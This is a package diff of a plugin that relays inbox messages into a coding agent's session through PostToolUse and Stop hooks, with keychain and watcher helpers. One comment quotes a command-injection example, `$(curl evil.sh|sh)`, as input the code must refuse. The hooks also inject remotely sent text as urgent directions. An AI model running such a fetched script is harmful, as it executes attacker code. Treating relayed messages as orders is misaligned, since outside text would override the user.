@agentsignalnet/claude-plugin 0.2.56

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,197 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Turn a spooled message into an interruption, at a moment a model can act on.
4
+ *
5
+ * node inbox-hook.mjs check # PostToolUse -- what is already waiting
6
+ * node inbox-hook.mjs watch # PostToolUse + asyncRewake -- what arrives mid-tool
7
+ * node inbox-hook.mjs finish # Stop -- before the turn ends
8
+ *
9
+ * THERE ARE ONLY TWO MOMENTS, NOT THREE
10
+ *
11
+ * The obvious design gives each priority its own latency: stop now, stop at the
12
+ * next good point, read when finished. Two of those are the same instant.
13
+ *
14
+ * A model is not running while a tool runs -- it is suspended, waiting for the
15
+ * result. So nothing can reach it mid-tool, no matter how fast the delivery is.
16
+ * A webhook landing in 50ms and a poll landing in 2s both wait for the same
17
+ * thing: the tool to return. The earliest possible interruption is the boundary
18
+ * between two tool calls, and that boundary is ALSO what "stop at the next good
19
+ * point" means. They collapse.
20
+ *
21
+ * So there are two real behaviours -- interrupt the turn, or wait for it to end
22
+ * -- and three hooks, because the interrupting half needs covering twice:
23
+ *
24
+ * check fires after every tool. Catches anything that arrived before it.
25
+ * watch runs in the background across a LONG tool call and wakes the model
26
+ * on arrival. Without it, a message landing during a thirty-minute
27
+ * build waits for the build.
28
+ * finish runs when the turn would end, and holds it open if something is
29
+ * waiting -- otherwise a low-priority message sits until somebody
30
+ * thinks to look, which is the thing this exists to stop.
31
+ *
32
+ * WHY TWO FILES
33
+ *
34
+ * The daemon only ever appends to the spool; a hook only ever appends to the
35
+ * handled list; the daemon prunes using both. One writer per file, so a hook
36
+ * firing while a poll is mid-write cannot lose a message between them. Sharing
37
+ * one file would make the two race, and the direction it loses in is the one
38
+ * that matters -- a dropped interrupt looks exactly like no message.
39
+ */
40
+ import { readFileSync, writeFileSync, renameSync, mkdirSync, existsSync } from 'node:fs';
41
+ import { dirname, join } from 'node:path';
42
+ import { fileURLToPath } from 'node:url';
43
+ import { stateDirs, writeDir } from './state.mjs';
44
+ import { ensureWatcher, lockDir, apiBase } from './watchers.mjs';
45
+
46
+ const mode = process.argv[2] ?? 'check';
47
+
48
+ /**
49
+ * The same candidate list the daemon and the MCP server use, and it must stay
50
+ * that way -- see the note in inbox-daemon.mjs. A hook reading a different
51
+ * directory than the daemon writes is a hook that never fires, silently.
52
+ *
53
+ * The daemon puts the spool beside the credential, so this looks for the spool
54
+ * itself rather than guessing a directory: whichever one has it is the one in
55
+ * use. Falling back to the first candidate covers the first run, before a
56
+ * daemon has ever written anything.
57
+ */
58
+ const stateDir =
59
+ stateDirs().find((dir) => existsSync(join(dir, 'inbox-spool.json'))) ??
60
+ writeDir();
61
+
62
+ const spoolPath = join(stateDir, 'inbox-spool.json');
63
+ const handledPath = join(stateDir, 'inbox-handled.json');
64
+
65
+ /** Seconds `watch` will sit there before giving up. */
66
+ const WATCH_SECONDS = Number(process.env.AGENTSIGNAL_WATCH_SECONDS ?? 600);
67
+
68
+ function readJson(path, fallback) {
69
+ try {
70
+ return JSON.parse(readFileSync(path, 'utf8'));
71
+ } catch {
72
+ return fallback;
73
+ }
74
+ }
75
+
76
+ function writeAtomic(path, value) {
77
+ mkdirSync(dirname(path), { recursive: true, mode: 0o700 });
78
+ const temporary = `${path}.${process.pid}.tmp`;
79
+ writeFileSync(temporary, JSON.stringify(value, null, 2), { mode: 0o600 });
80
+ renameSync(temporary, path);
81
+ }
82
+
83
+ /** Outstanding messages of one urgency, newest last so they read in order. */
84
+ function waiting(urgency) {
85
+ const spool = readJson(spoolPath, { messages: [] });
86
+ const handled = new Set(readJson(handledPath, { delivery_ids: [] }).delivery_ids ?? []);
87
+ return (spool.messages ?? [])
88
+ .filter((m) => m.urgency === urgency && !handled.has(m.delivery_id))
89
+ .sort((a, b) => (a.created_at < b.created_at ? -1 : 1));
90
+ }
91
+
92
+ function markHandled(messages) {
93
+ const handled = readJson(handledPath, { delivery_ids: [] });
94
+ const ids = new Set(handled.delivery_ids ?? []);
95
+ for (const m of messages) ids.add(m.delivery_id);
96
+ writeAtomic(handledPath, { delivery_ids: [...ids] });
97
+ }
98
+
99
+ /**
100
+ * What the model is told. Named senders are not in the inbox payload, so this
101
+ * does not invent one -- the message and its priority are what arrived, and
102
+ * `read_inbox` is where the rest lives.
103
+ */
104
+ function render(messages, lead) {
105
+ const body = messages
106
+ .map((m) => `• [priority ${m.priority}] ${m.title ?? '(no title)'} — ${m.body ?? ''}`)
107
+ .join('\n');
108
+ return `${lead}\n\n${body}\n\nUse read_inbox for the full messages, and respond_to_message to answer one that asked a question.`;
109
+ }
110
+
111
+ if (mode === 'check' || mode === 'finish') {
112
+ /**
113
+ * KEEP A WATCHER RUNNING, and do it before the early return below.
114
+ *
115
+ * The case this exists for is the quiet one. SessionStart starts the watcher,
116
+ * which is right for a machine that was already registered and wrong for one
117
+ * that registers later -- and registering later is the ordinary path now,
118
+ * because a join code is meant to work mid-session. So an agent could become
119
+ * addressable, be listed as live by the directory, and have every message
120
+ * sent to it sit in an inbox with no process reading it until the next
121
+ * session happened to start.
122
+ *
123
+ * Nothing reported that. Putting it after the "nothing waiting" exit would
124
+ * reproduce it exactly: nothing is ever waiting when nothing is fetching.
125
+ */
126
+ if (mode === 'check') {
127
+ ensureWatcher({
128
+ lockRoot: lockDir(),
129
+ daemonPath: join(dirname(fileURLToPath(import.meta.url)), 'inbox-daemon.mjs'),
130
+ baseUrl: apiBase(),
131
+ });
132
+ }
133
+
134
+ const urgency = mode === 'check' ? 'interrupt' : 'finish';
135
+ const messages = waiting(urgency);
136
+
137
+ // Nothing waiting is the common case, and a hook that prints on every tool
138
+ // call is a hook somebody turns off.
139
+ if (messages.length === 0) process.exit(0);
140
+
141
+ markHandled(messages);
142
+
143
+ if (mode === 'check') {
144
+ console.log(
145
+ JSON.stringify({
146
+ hookSpecificOutput: {
147
+ hookEventName: 'PostToolUse',
148
+ additionalContext: render(
149
+ messages,
150
+ `${messages.length} message(s) arrived for this agent and were marked urgent. Deal with them before continuing what you were doing, then carry on.`,
151
+ ),
152
+ },
153
+ }),
154
+ );
155
+ process.exit(0);
156
+ }
157
+
158
+ // Stop: hold the turn open rather than let a message wait for somebody to
159
+ // remember to look.
160
+ console.log(
161
+ JSON.stringify({
162
+ decision: 'block',
163
+ reason: render(
164
+ messages,
165
+ `${messages.length} message(s) are waiting for this agent. Handle them now, before finishing.`,
166
+ ),
167
+ }),
168
+ );
169
+ process.exit(0);
170
+ }
171
+
172
+ if (mode === 'watch') {
173
+ // Exit 2 is the wake. Anything else is silence, so a quiet channel costs a
174
+ // sleeping process and nothing else.
175
+ const deadline = Date.now() + WATCH_SECONDS * 1000;
176
+
177
+ const poll = () => {
178
+ const messages = waiting('interrupt');
179
+ if (messages.length > 0) {
180
+ markHandled(messages);
181
+ console.log(
182
+ render(
183
+ messages,
184
+ `${messages.length} urgent message(s) arrived for this agent while you were working. Stop and deal with them.`,
185
+ ),
186
+ );
187
+ process.exit(2);
188
+ }
189
+ if (Date.now() >= deadline) process.exit(0);
190
+ setTimeout(poll, 1000);
191
+ };
192
+
193
+ poll();
194
+ } else if (mode !== 'check' && mode !== 'finish') {
195
+ console.error(`Unknown mode "${mode}". Use check, watch, or finish.`);
196
+ process.exit(1);
197
+ }
@@ -0,0 +1,275 @@
1
+ /**
2
+ * Where an agent's identity lives on this machine. One copy, imported.
3
+ *
4
+ * WHY THIS FILE EXISTS. This logic was written out three times -- in the
5
+ * watcher, in the hooks, and in the viewer -- each with a comment promising it
6
+ * matched the others. They drifted, and every drift failed the same silent
7
+ * way: a credential is on disk, the reader looks somewhere else, and the
8
+ * result is indistinguishable from a channel where nothing is happening.
9
+ *
10
+ * It happened twice in one evening. A fix went into two of the three copies
11
+ * and nearly shipped; the viewer's copy turned out to have quietly fallen
12
+ * behind and could not see an identity the watcher was already polling. The
13
+ * comments claiming the copies agreed were the reason nobody checked.
14
+ *
15
+ * So they are one function now, and disagreeing takes an edit rather than an
16
+ * omission. The MCP server keeps its own copy because it is TypeScript in a
17
+ * different package with a build step; that pair is documented in both places.
18
+ *
19
+ * `readKeychain` below is the second half of that same duplicate, and is
20
+ * deliberately the only other thing in here: where a key LIVES has to be read
21
+ * identically by the process that wrote it and the ones that borrow it, or the
22
+ * failure is again a credential on disk that nobody can find.
23
+ */
24
+ import { readFileSync, readdirSync, existsSync, statSync, realpathSync } from 'node:fs';
25
+ import { execFileSync } from 'node:child_process';
26
+ import { createHash } from 'node:crypto';
27
+ import { homedir } from 'node:os';
28
+ import { basename, dirname, join, resolve, sep } from 'node:path';
29
+
30
+ /**
31
+ * Every directory an identity might be in, most specific first.
32
+ *
33
+ * An explicitly named one is EXCLUSIVE, not merely first: somebody who names a
34
+ * directory means that one and no other -- a fixture that must not see the
35
+ * developer's real agent. Reading past it would adopt an identity the caller
36
+ * went out of their way to exclude.
37
+ */
38
+ export function stateDirs(env = process.env) {
39
+ if (env.AGENTSIGNAL_STATE_DIR) return [env.AGENTSIGNAL_STATE_DIR];
40
+
41
+ const own = env.CLAUDE_PLUGIN_DATA;
42
+ const dirs = [];
43
+ if (own) dirs.push(own);
44
+
45
+ // SIBLINGS. CLAUDE_PLUGIN_DATA is named after the server that asked for it,
46
+ // so a credential written by a server added under another name lands beside
47
+ // this directory rather than in it.
48
+ //
49
+ // BOTH ROOTS, not whichever one this process happens to have been given.
50
+ //
51
+ // This used to be `own ? dirname(own) : <default>`, which reads as "the
52
+ // variable, or the usual place if it is unset". The effect was that setting
53
+ // it HID the usual place -- and a plugin sourced from a directory sets it, so
54
+ // a session inside the checkout got a data root under the checkout while a
55
+ // session anywhere else got the one under the home directory. Two roots, each
56
+ // enumerating only its own siblings, neither able to see the other.
57
+ //
58
+ // That is invisible for credentials (an identity in the other root simply
59
+ // never gets polled, which looks like a quiet channel) and worse for the
60
+ // lock, whose whole job is to find the rival it must not run beside. A
61
+ // machine here ran three watchers for a day on exactly this.
62
+ //
63
+ // Widening cannot cost anything: an explicitly named directory already
64
+ // returned above, so isolation is untouched, and the fallback root was
65
+ // always going to be searched when the variable was unset.
66
+ const roots = [];
67
+ if (own) roots.push(dirname(own));
68
+ roots.push(join(homedir(), '.claude', 'plugins', 'data'));
69
+ for (const root of [...new Set(roots)]) {
70
+ try {
71
+ // Sorted: readdir order is filesystem order, and the first candidate
72
+ // decides where a new credential goes. That must not vary by disk layout.
73
+ for (const entry of readdirSync(root, { withFileTypes: true }).sort((a, b) =>
74
+ a.name.localeCompare(b.name),
75
+ )) {
76
+ if (entry.isDirectory()) dirs.push(join(root, entry.name));
77
+ }
78
+ } catch {
79
+ /* no plugin data here, which is normal off a plugin install */
80
+ }
81
+ }
82
+
83
+ /**
84
+ * PER-CHECKOUT identities, one directory each, same shape as the above.
85
+ *
86
+ * THE HOME DIRECTORY IS SEARCHED FOR THESE TOO, and it was not. This loop
87
+ * used to run over `dirs` before ~/.agentsignal had been added to it, so
88
+ * `~/.agentsignal/agents/<slug>/agent.json` was written by the viewer and
89
+ * read by nobody: writeDir() falls back to ~/.agentsignal whenever
90
+ * CLAUDE_PLUGIN_DATA is unset, which is every viewer started from a plain
91
+ * shell, and that is exactly where /connect puts a new agent.
92
+ *
93
+ * The failure was silent in the worst way. Registration succeeded, the
94
+ * agent appeared in the channel, and this machine could not see it -- so the
95
+ * watcher never started, and onboarding reported "not connected yet" about a
96
+ * project it had just connected. Found by walking the onboarding flow rather
97
+ * than by any test, because every test supplied AGENTSIGNAL_STATE_DIR or
98
+ * CLAUDE_PLUGIN_DATA and so never took this path.
99
+ *
100
+ * Write where you read. The bases are assembled first now, so anything that
101
+ * can hold an `agents/` directory gets looked in.
102
+ */
103
+ const home = join(homedir(), '.agentsignal');
104
+ for (const base of [...dirs, home]) {
105
+ try {
106
+ for (const entry of readdirSync(join(base, 'agents'), { withFileTypes: true })) {
107
+ if (entry.isDirectory()) dirs.push(join(base, 'agents', entry.name));
108
+ }
109
+ } catch {
110
+ /* none here, which is the ordinary case */
111
+ }
112
+ }
113
+
114
+ // Last, because it is the least specific: a per-checkout directory above
115
+ // describes one project, and this one is whatever had nowhere better to go.
116
+ dirs.push(home);
117
+ return [...new Set(dirs.filter(Boolean))];
118
+ }
119
+
120
+ /** Where state goes when there is no credential to sit beside. */
121
+ export function writeDir(env = process.env) {
122
+ return env.AGENTSIGNAL_STATE_DIR ?? env.CLAUDE_PLUGIN_DATA ?? join(homedir(), '.agentsignal');
123
+ }
124
+
125
+ /**
126
+ * Every identity on this machine for one API, deduped by credential.
127
+ *
128
+ * Keyed on the credential rather than the directory because the same agent is
129
+ * reachable through several of them, and counting it twice means polling one
130
+ * inbox twice -- every message fetched twice, every urgent one interrupting
131
+ * twice off a single send.
132
+ */
133
+ export function identities(baseUrl, env = process.env) {
134
+ const found = new Map();
135
+ for (const dir of stateDirs(env)) {
136
+ try {
137
+ const stored = JSON.parse(readFileSync(join(dir, 'agent.json'), 'utf8'));
138
+ if (!stored?.credential || stored.base_url !== baseUrl) continue;
139
+ if (found.has(stored.credential)) continue;
140
+ found.set(stored.credential, {
141
+ secret: stored.credential,
142
+ credential: stored.credential,
143
+ key: stored.key ?? null,
144
+ handle: stored.handle ?? null,
145
+ repo: stored.repo ?? null,
146
+ // The agent's own CHANNEL key, when a person connected it from the
147
+ // dashboard, and where it lives when it lives in the keychain rather
148
+ // than here. Carried because a device credential reads one inbox and
149
+ // the viewer needs the whole channel -- without these two the key is
150
+ // written to disk and read by nothing, which is the failure this
151
+ // codebase keeps meeting. Both null for an agent that joined before
152
+ // web joins carried a key, which is a tier and not a fault.
153
+ api_key: stored.api_key ?? null,
154
+ api_key_ref: stored.api_key_ref ?? null,
155
+ dir,
156
+ spool: join(dir, 'inbox-spool.json'),
157
+ });
158
+ } catch {
159
+ /* no identity in this directory */
160
+ }
161
+ }
162
+ return [...found.values()];
163
+ }
164
+
165
+ /**
166
+ * The project a directory belongs to, or null outside one.
167
+ *
168
+ * Canonical, because the slug is derived from it and two spellings of one
169
+ * checkout must not be two identities -- /tmp is /private/tmp on a Mac, and a
170
+ * home directory behind a symlink is ordinary.
171
+ */
172
+ export function repoRoot(from = process.cwd()) {
173
+ let dir;
174
+ try {
175
+ dir = realpathSync(resolve(from));
176
+ } catch {
177
+ dir = resolve(from);
178
+ }
179
+ for (;;) {
180
+ const marker = join(dir, '.git');
181
+ if (existsSync(marker)) return projectRoot(dir, marker);
182
+ const up = dirname(dir);
183
+ if (up === dir) return null;
184
+ dir = up;
185
+ }
186
+ }
187
+
188
+ /**
189
+ * A worktree resolves to the project it is a worktree OF; a submodule does not.
190
+ *
191
+ * The account belongs to the project. Five worktrees of one repository are one
192
+ * project, and keying on the working copy would register an agent per branch
193
+ * under review. A submodule is its own repository, may belong to somebody
194
+ * else, and collapsing it into its parent would put two projects in one
195
+ * account -- the crossover this is all for.
196
+ */
197
+ function projectRoot(dir, marker) {
198
+ try {
199
+ if (!statSync(marker).isFile()) return dir;
200
+ const pointer = /^gitdir:\s*(.+)$/m.exec(readFileSync(marker, 'utf8'))?.[1]?.trim();
201
+ if (!pointer) return dir;
202
+ const gitDir = resolve(dir, pointer);
203
+ const split = gitDir.lastIndexOf(`${sep}worktrees${sep}`);
204
+ if (split === -1) return dir;
205
+ try {
206
+ return realpathSync(dirname(gitDir.slice(0, split)));
207
+ } catch {
208
+ return dirname(gitDir.slice(0, split));
209
+ }
210
+ } catch {
211
+ return dir;
212
+ }
213
+ }
214
+
215
+ /**
216
+ * A stable directory name for one project's state.
217
+ *
218
+ * The basename is there so a human can read the directory; the digest is what
219
+ * distinguishes, because two checkouts called `api` under different parents
220
+ * must not collide and a path is not a filename.
221
+ */
222
+ export function repoSlug(root) {
223
+ const digest = createHash('sha256').update(root).digest('hex').slice(0, 12);
224
+ const readable = basename(root).replace(/[^A-Za-z0-9._-]/g, '-').slice(0, 40);
225
+ return `${readable}-${digest}`;
226
+ }
227
+
228
+ /**
229
+ * `keychain://<service>/<account>` out of the OS keychain, synchronously.
230
+ *
231
+ * SYNCHRONOUS, which is the whole reason this sits beside the async resolver
232
+ * in packages/mcp/src/secrets.ts rather than reusing it. Every caller here
233
+ * runs before anything is serving -- the viewer choosing a key, the daemon
234
+ * deciding what it may poll -- where an await does not merely wait, it
235
+ * reorders startup. `security` answers in single-digit milliseconds against an
236
+ * unlocked keychain; a locked one prompts, which is the right thing to do to
237
+ * somebody who just asked to read their own secret.
238
+ *
239
+ * execFileSync, never a shell: a reference is data that came off disk, and
240
+ * `keychain://x/$(curl evil.sh|sh)` has to be a lookup that fails rather than
241
+ * a command that runs.
242
+ */
243
+ export function readKeychain(reference) {
244
+ const { service, account } = parseKeychain(reference);
245
+ let value;
246
+ try {
247
+ value = execFileSync(
248
+ '/usr/bin/security',
249
+ ['find-generic-password', '-s', service, '-a', account, '-w'],
250
+ { encoding: 'utf8', timeout: 10_000, stdio: ['ignore', 'pipe', 'pipe'] },
251
+ );
252
+ } catch (error) {
253
+ // stderr, never stdout: a FAILED lookup prints a diagnostic, but a
254
+ // succeeded one prints the secret, and an error path that quotes stdout is
255
+ // how the value ends up in a log.
256
+ const detail = String(error?.stderr ?? '').trim() || error?.message || 'lookup failed';
257
+ throw new Error(`${reference}: ${detail}`);
258
+ }
259
+ // `security` terminates with a newline, and trailing whitespace in a bearer
260
+ // token is the sort of thing that fails as a 401 an hour later.
261
+ const trimmed = value.replace(/\n$/, '');
262
+ if (!trimmed) throw new Error(`${reference} resolved to an empty value`);
263
+ return trimmed;
264
+ }
265
+
266
+ /** The service and account a reference names, or a throw that quotes neither a value nor a shell. */
267
+ export function parseKeychain(reference) {
268
+ const match = /^keychain:\/\/([^/]+)\/(.+)$/.exec(reference);
269
+ if (!match) {
270
+ throw new Error(
271
+ `Not a keychain reference: ${reference}. Expected keychain://<service>/<account>.`,
272
+ );
273
+ }
274
+ return { service: decodeURIComponent(match[1]), account: decodeURIComponent(match[2]) };
275
+ }
@@ -0,0 +1,203 @@
1
+ /**
2
+ * Who is already watching on this machine, and starting one when nobody is.
3
+ *
4
+ * WHY THIS FILE EXISTS. The registry was private to the daemon, which was fine
5
+ * while the daemon was the only thing that needed to ask. It is not: a join
6
+ * mid-session creates a credential at a moment no daemon is starting, so the
7
+ * hook has to be able to ask the same question -- and answering it with a
8
+ * second copy of this logic is how `state.mjs` came to exist in the first
9
+ * place, after three copies of "where do identities live" drifted apart and
10
+ * each drift failed the same silent way.
11
+ *
12
+ * So the registry reader is one function, imported by both, and disagreeing
13
+ * takes an edit rather than an omission.
14
+ */
15
+ import { readFileSync, writeFileSync, readdirSync, unlinkSync } from 'node:fs';
16
+ import { spawn } from 'node:child_process';
17
+ import { homedir } from 'node:os';
18
+ import { dirname, join } from 'node:path';
19
+ import { identities as storedIdentities } from './state.mjs';
20
+
21
+ /**
22
+ * WHERE THE LOCK LIVES, and it is machine-wide rather than beside the
23
+ * credential. A credential moves the moment an agent joins; a lock that
24
+ * relocates is not a lock, and that is how three daemons once ran at once.
25
+ *
26
+ * The daemon layers its own `--state-dir` flag on top of this. Everything
27
+ * else -- the hook included -- gets the same answer from the same place.
28
+ */
29
+ export function lockDir(env = process.env) {
30
+ // `||` rather than `??`: an environment variable set to the empty string is
31
+ // how a caller unsets one it cannot delete, and `??` would take that
32
+ // literally and put the lock in the current directory.
33
+ return env.AGENTSIGNAL_STATE_DIR || join(homedir(), '.agentsignal');
34
+ }
35
+
36
+ /**
37
+ * The API this machine's credentials belong to, normalised.
38
+ *
39
+ * The trailing slash matters: `identities()` matches on an exact string, so
40
+ * one caller trimming it and another not is an identity that exists and is
41
+ * never found.
42
+ */
43
+ export function apiBase(env = process.env) {
44
+ return (env.AGENTSIGNAL_BASE_URL ?? 'https://api.agentsignal.net').replace(/\/+$/, '');
45
+ }
46
+
47
+ /**
48
+ * The daemon a pidfile names, or null.
49
+ *
50
+ * The sidecar describes it only if it is about THIS process. A version that
51
+ * predates the sidecar leaves whatever was there before, so an unmatched or
52
+ * missing one means "unknown vintage" -- older than anything that writes it.
53
+ */
54
+ export function incumbent(
55
+ pidFile,
56
+ metaFile = join(dirname(pidFile), 'inbox-daemon.meta.json'),
57
+ selfPid = process.pid,
58
+ ) {
59
+ let pid;
60
+ try {
61
+ pid = Number(readFileSync(pidFile, 'utf8').trim());
62
+ if (!Number.isInteger(pid) || pid <= 0 || pid === selfPid) return null;
63
+ // Throws ESRCH when there is no such process. A stale pidfile from a
64
+ // machine that lost power looks exactly like this and is not an error.
65
+ process.kill(pid, 0);
66
+ } catch {
67
+ return null;
68
+ }
69
+
70
+ try {
71
+ const meta = JSON.parse(readFileSync(metaFile, 'utf8'));
72
+ if (meta?.pid === pid) return { pid, script: meta.script ?? null, mtime: meta.mtime ?? 0 };
73
+ } catch {
74
+ /* absent, unreadable, or about somebody else */
75
+ }
76
+ return { pid, script: null, mtime: 0 };
77
+ }
78
+
79
+ /**
80
+ * Every watcher alive under this lock directory.
81
+ *
82
+ * BOTH THE REGISTRY AND THE PIDFILE, because they answer at different ages.
83
+ * The registry is the complete picture for anything started since it landed;
84
+ * the pidfile is the only trace an older daemon leaves. A machine mid-upgrade
85
+ * has both kinds running, and reading only one of the two is how a rival stays
86
+ * invisible.
87
+ *
88
+ * Dead entries are removed as they are found. A watcher killed with SIGKILL,
89
+ * or lost to a reboot, leaves a file behind, and a registry that only ever
90
+ * grows would eventually make every start read a directory of ghosts.
91
+ */
92
+ export function livingWatchers(lockRoot, selfPid = process.pid) {
93
+ const watchersDir = join(lockRoot, 'watchers');
94
+ const found = new Map();
95
+
96
+ try {
97
+ for (const name of readdirSync(watchersDir)) {
98
+ if (!name.endsWith('.json')) continue;
99
+ const path = join(watchersDir, name);
100
+ let entry;
101
+ try {
102
+ entry = JSON.parse(readFileSync(path, 'utf8'));
103
+ } catch {
104
+ continue;
105
+ }
106
+ const pid = Number(entry?.pid);
107
+ if (!Number.isInteger(pid) || pid <= 0 || pid === selfPid) continue;
108
+ try {
109
+ // Signal 0 delivers nothing and only reports whether it is there.
110
+ process.kill(pid, 0);
111
+ } catch {
112
+ try {
113
+ unlinkSync(path);
114
+ } catch {
115
+ /* somebody else cleaned it up first */
116
+ }
117
+ continue;
118
+ }
119
+ found.set(pid, { pid, script: entry.script ?? null, mtime: entry.mtime ?? 0 });
120
+ }
121
+ } catch {
122
+ /* no registry here yet, which is every machine before it landed */
123
+ }
124
+
125
+ const legacy = incumbent(join(lockRoot, 'inbox-daemon.pid'), undefined, selfPid);
126
+ if (legacy && !found.has(legacy.pid)) found.set(legacy.pid, legacy);
127
+
128
+ return [...found.values()];
129
+ }
130
+
131
+ /**
132
+ * How long to wait before trying to start a watcher again.
133
+ *
134
+ * A START THAT FAILS MUST NOT BE RETRIED AFTER EVERY TOOL CALL. This is
135
+ * reached from PostToolUse, which fires constantly, and the daemon can exit
136
+ * for reasons that will still be true a second later -- an unreadable
137
+ * credential, a node that cannot resolve the API. Without a floor, a session
138
+ * doing ordinary work would fork a process per tool call and log a failure per
139
+ * process, which is worse than the gap it is fixing.
140
+ */
141
+ const RETRY_AFTER_MS = Number(process.env.AGENTSIGNAL_WATCHER_RETRY_MS ?? 60_000);
142
+
143
+ /**
144
+ * Start the watcher if this machine has an identity and nothing is watching it.
145
+ *
146
+ * THE GAP THIS CLOSES. The watcher is started by SessionStart, which is the
147
+ * right moment for a machine that was already registered and the wrong one for
148
+ * a machine that registers later. Joining is exactly that: a join code works
149
+ * mid-session -- that is the whole point of it, and the daemon's own lock
150
+ * comment already says so -- so the ordinary path was to become addressable at
151
+ * a moment nothing would poll until the next session started.
152
+ *
153
+ * Nothing said so. The agent was in the directory, `find_agents_in_my_channels`
154
+ * listed it as live, and messages sent to it sat in an inbox no process was
155
+ * reading. That is the failure this codebase keeps meeting: a state that is
156
+ * real and correct everywhere except in the one place that would act on it.
157
+ *
158
+ * SAFE TO CALL OFTEN, which is the constraint that shapes it. It is cheap when
159
+ * there is nothing to do -- no identity is a few failed reads, and a live
160
+ * watcher is one small directory -- it never starts a second watcher beside a
161
+ * living one, and a failed start is not retried for a minute.
162
+ */
163
+ export function ensureWatcher({
164
+ lockRoot,
165
+ daemonPath,
166
+ baseUrl,
167
+ env = process.env,
168
+ now = Date.now(),
169
+ }) {
170
+ if (!storedIdentities(baseUrl, env).length) return { started: false, reason: 'no identity' };
171
+ if (livingWatchers(lockRoot).length) return { started: false, reason: 'already watching' };
172
+
173
+ const stampPath = join(lockRoot, 'watcher-start.json');
174
+ try {
175
+ const last = JSON.parse(readFileSync(stampPath, 'utf8'));
176
+ if (Number.isFinite(last?.at) && now - last.at < RETRY_AFTER_MS) {
177
+ return { started: false, reason: 'tried recently' };
178
+ }
179
+ } catch {
180
+ /* never tried, or the stamp is unreadable, which is the same answer */
181
+ }
182
+
183
+ try {
184
+ writeFileSync(stampPath, JSON.stringify({ at: now }), { mode: 0o600 });
185
+ } catch {
186
+ /* an unwritable lock directory is the daemon's problem to report, not ours */
187
+ }
188
+
189
+ try {
190
+ // Detached and unref'd: the hook has a ten second timeout and the watcher
191
+ // outlives the turn that started it. Output goes where SessionStart sends
192
+ // it, so one log holds both kinds of start.
193
+ spawn(process.execPath, [daemonPath], {
194
+ detached: true,
195
+ stdio: 'ignore',
196
+ env,
197
+ }).unref();
198
+ } catch (error) {
199
+ return { started: false, reason: `could not spawn: ${error.message}` };
200
+ }
201
+
202
+ return { started: true, reason: 'nothing was watching' };
203
+ }